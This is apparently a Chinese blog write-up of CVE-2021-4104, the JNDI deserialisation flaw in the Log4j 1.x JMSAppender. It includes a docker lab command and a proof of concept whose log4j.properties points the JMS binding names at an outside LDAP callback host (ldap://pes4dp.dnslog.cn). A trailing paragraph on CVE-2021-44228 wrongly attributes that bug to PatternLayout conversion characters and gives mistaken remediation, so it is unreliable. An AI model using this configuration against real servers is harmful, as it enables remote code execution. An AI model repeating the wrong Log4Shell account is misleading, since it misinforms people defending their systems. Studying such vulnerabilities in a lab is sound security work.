Apache Log4j 1.x JMSAppender配置代码执行漏洞(CVE-2021-4104)

Apache Log4j 1.x JMSAppender配置代码执行漏洞(CVE-2021-4104)

0x01 漏洞简介

在 1.x 版的 Java 日志库 Apache Log4j 中发现了一个缺陷。Log4j 1.x 中的 JMSAppender 容易受到不受信任数据的反序列化。如果部署的应用程序配置为使用 JMSAppender 和攻击者的 JNDI LDAP 端点,这允许远程攻击者在服务器上执行代码。发现存在 JNDI 远程命令执行漏洞,效果与 log4j2 漏洞类似,但利用条件相对苛刻。

0x02 影响版本

Apache Log4j =1.2.x

0x03 环境搭建

下载搭建环境:docker run -d -P vulfocus/log4j2-cve-2021-4104

0x04 漏洞分析

当攻击者具有对Log4j配置的写访问权限时,Log4j 1.2中的JMSAppender容易受到不受信任数据反序列化的攻击。攻击者可以提供TopicBindingName和TopicConnectionFactoryBindingName配置,导致JMSApender执行JNDI请求,从而以与CVE-2021-44228类似的方式执行远程代码。

  1. 要有 jms 的环境支持

  2. 需要能有写如 log4j.properties 文件内容的权限

漏洞利用条件分析

配置文件写权限:攻击者需通过其他漏洞达成

修改配置:攻击者需通过其他漏洞达成

触发方式:本地(其他漏洞) + 远程(JNDI)

配置方式:不是默认

特殊利用条件:需要外网交互

综合评价

利用难度:高

威胁等级:中等,能造成远程代码执行

//src/main/java/Test.java
import org.apache.log4j.Logger;

public class Test {
    private static Logger logger = Logger.getLogger(Test.class);

    public static void main(String[] args) {
        logger.error("This is debug message.");
    }

}
#src/main/resources/log4j.properties
log4j.rootLogger = error,jms

log4j.appender.jms=org.apache.log4j.net.JMSAppender
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory
log4j.appender.jms.ProviderURL=tcp://localhost:61616
log4j.appender.jms.TopicBindingName=ldap://pes4dp.dnslog.cn
log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://pes4dp.dnslog.cn #
#pom.xml
<dependencies>
  <dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.11</version>
    <scope>test</scope>
  </dependency>
  <dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
  </dependency>
  <dependency>
    <groupId>javax.jms</groupId>
    <artifactId>javax.jms-api</artifactId>
    <version>2.0.1</version>
  </dependency>
  <dependency>
    <groupId>org.apache.activemq</groupId>
    <artifactId>activemq-all</artifactId>
    <version>5.15.8</version>
  </dependency>
</dependencies>

在这里插入图片描述

通过对漏洞的调试,发现在 JMSAppender 中调用了 lookup 方法,这是因为我们在 log4j.properties 中写入了 log4j.appender.jms=org.apache.log4j.net.JMSAppender,即去调用 JMSAppender.java 中的 activateOptions 方法。然后在 ctx.lookup (name) 中传入我们指定的恶 意 LDAP 服务地址,从而触发了远程代码执行漏洞。所以从中我们可以看出要必须支持 jms 代理的类才可以执行 rce,本例中就是 activemq 存在 jms 代理的类,所以才执行了该漏洞, 否则将不存在问题。也就是说该漏洞不会出现太大的影响,因为首先需要修改 log4j 的配置, 除非我们利用了其他一些漏洞进行写入,否则将很难利用该点进行 RCE。

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2的CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值